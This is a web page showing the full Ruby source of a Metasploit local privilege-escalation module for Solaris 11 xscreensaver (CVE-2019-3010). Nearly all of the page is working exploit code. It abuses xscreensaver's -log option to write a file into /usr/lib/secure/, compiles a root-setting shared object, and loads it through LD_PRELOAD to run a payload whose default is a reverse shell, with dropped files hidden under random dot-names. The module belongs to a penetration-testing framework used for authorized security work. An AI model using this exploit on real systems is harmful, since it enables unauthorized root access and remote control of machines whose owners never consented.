Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/solaris/local/xscreensaver_log_priv_esc.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Solaris::Priv10include Msf::Post::Solaris::System11include Msf::Post::Solaris::Kernel12include Msf::Exploit::EXE13include Msf::Exploit::FileDropper14prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(update_info(info,18'Name' => 'Solaris xscreensaver log Privilege Escalation',19'Description' => %q{20This module exploits a vulnerability in `xscreensaver` versions21since 5.06 on unpatched Solaris 11 systems which allows users22to gain root privileges.2324`xscreensaver` allows users to create a user-owned file at any25location on the filesystem using the `-log` command line argument26introduced in version 5.06.2728This module uses `xscreensaver` to create a log file in `/usr/lib/secure/`,29overwrites the log file with a shared object, and executes the shared30object using the `LD_PRELOAD` environment variable.3132This module has been tested successfully on:3334xscreensaver version 5.15 on Solaris 11.1 (x86); and35xscreensaver version 5.15 on Solaris 11.3 (x86).36},37'References' =>38[39['CVE', '2019-3010'],40['EDB', '47509'],41['URL', 'https://seclists.org/fulldisclosure/2019/Oct/39'],42['URL', 'https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver'],43['URL', 'https://techblog.mediaservice.net/2019/10/local-privilege-escalation-on-solaris-11-x-via-xscreensaver/'],44['URL', 'https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html']45],46'Notes' => {47'Stability' => [CRASH_SAFE],48'SideEffects' => [],49'Reliability' => [],50'AKA' => ['raptor_xscreensaver'] },51'License' => MSF_LICENSE,52'Author' =>53[54'Marco Ivaldi', # Discovery and exploit55'bcoles' # Metasploit56],57'DisclosureDate' => '2019-10-16',58'Privileged' => true,59'Platform' => ['solaris', 'unix'],60'Arch' => [ARCH_CMD],61'Targets' => [['Auto', {}]],62'SessionTypes' => ['shell', 'meterpreter'],63'DefaultOptions' =>64{65'PAYLOAD' => 'cmd/unix/reverse_ksh',66'WfsDelay' => 10,67'PrependFork' => true68},69'DefaultTarget' => 0))70register_options [71OptString.new('XSCREENSAVER_PATH', [true, 'Path to xscreensaver executable', '/usr/bin/xscreensaver']),72OptString.new('XORG_PATH', [true, 'Path to Xorg executable', '/usr/bin/Xorg'])73]74register_advanced_options [75OptString.new('Xdisplay', [true, 'Display to use if starting a new Xorg session', ':1']),76OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])77]78end7980def xscreensaver_path81datastore['XSCREENSAVER_PATH']82end8384def xorg_path85datastore['XORG_PATH']86end8788def mkdir(path)89vprint_status "Creating directory '#{path}'"90cmd_exec "mkdir -p '#{path}'"91register_dir_for_cleanup path92end9394def upload(path, data)95print_status "Writing '#{path}' (#{data.size} bytes) ..."96rm_f path97write_file path, data98register_file_for_cleanup path99end100101def upload_and_compile(path, data)102upload "#{path}.c", data103104output = cmd_exec "PATH=\"$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin\" gcc -fPIC -shared -s -g -O2 -lc -o #{path} #{path}.c"105unless output.blank?106print_error output107fail_with Failure::Unknown, "#{path}.c failed to compile"108end109110register_file_for_cleanup path111end112113def check114unless setuid? xscreensaver_path115vprint_error "#{xscreensaver_path} is not setuid"116return CheckCode::Safe117end118vprint_good "#{xscreensaver_path} is setuid"119120unless has_gcc?121vprint_error 'gcc is not installed'122return CheckCode::Safe123end124vprint_good 'gcc is installed'125126xscreensaver_version = cmd_exec("#{xscreensaver_path} --help").to_s.scan(/^xscreensaver ([\d\.]+)/).flatten.first127if xscreensaver_version.to_s.eql? ''128vprint_error 'Could not determine xscreensaver version'129return CheckCode::Detected130end131132# Bug introduced in version 5.06. Patched in version <~ 5.42.133unless Rex::Version.new(xscreensaver_version).between?(Rex::Version.new('5.06'), Rex::Version.new('5.41'))134vprint_error "xscreensaver version #{xscreensaver_version} is not vulnerable"135return CheckCode::Safe136end137vprint_good "xscreensaver version #{xscreensaver_version} appears to be vulnerable"138139CheckCode::Appears140end141142def exploit143if is_root?144fail_with Failure::BadConfig, 'Session already has root privileges'145end146147unless writable? datastore['WritableDir']148fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"149end150151# Set display152display = cmd_exec 'echo $DISPLAY'153kill_xorg = false154155if display.to_s.blank?156display = datastore['Xdisplay']157print_status "Starting Xorg on display #{display} ..."158cmd_exec "#{xorg_path} #{display} & echo "159kill_xorg = true160else161print_status "Using Xorg display #{display} ..."162end163164# Create writable log file in /usr/lib/secure/165lib_name = rand_text_alphanumeric 5..10166if cmd_exec("/usr/bin/file #{xscreensaver_path}").to_s.include? 'ELF 64-bit'167secure_path = "/usr/lib/secure/64/"168else169secure_path = "/usr/lib/secure/"170end171lib_path = "#{secure_path}#{lib_name}.so"172173print_status "Creating log file #{lib_path} ..."174cmd_exec "umask 0; DISPLAY=#{display} #{xscreensaver_path} -display #{display} -log #{lib_path} & echo "175176Rex.sleep(5)177178cmd_exec 'pkill -U `whoami` -n xscreensaver'179if kill_xorg180cmd_exec 'pkill -U `whoami` -n Xorg'181end182183unless writable? lib_path184fail_with Failure::NotVulnerable, "Could not create writable log file #{lib_path}"185end186187register_file_for_cleanup lib_path188189# Upload and compile shared object190base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"191mkdir base_path192193payload_name = ".#{rand_text_alphanumeric 5..10}"194payload_path = "#{base_path}/#{payload_name}"195196so = <<-EOF197#include <unistd.h>198void __attribute__((constructor)) cons() {199setuid(0);200setgid(0);201unlink("#{lib_path}");202execle("#{payload_path}", "", NULL, NULL);203_exit(0);204}205EOF206207so_name = ".#{rand_text_alphanumeric 5..10}"208so_path = "#{base_path}/#{so_name}"209upload_and_compile so_path, so210211# Overwrite newly created log file with compiled shared object212vprint_status "Writing shared object to #{lib_path}"213cmd_exec "cp '#{so_path}' '#{lib_path}'"214215# Upload and execute payload216if payload.arch.first.to_s == 'cmd'217upload payload_path, "#!/bin/sh\n#{payload.encoded}"218else219upload payload_path, generate_payload_exe220end221chmod payload_path222223print_status 'Executing payload...'224cmd_exec "LD_PRELOAD=#{lib_path} #{xscreensaver_path} --help & echo "225end226end227228229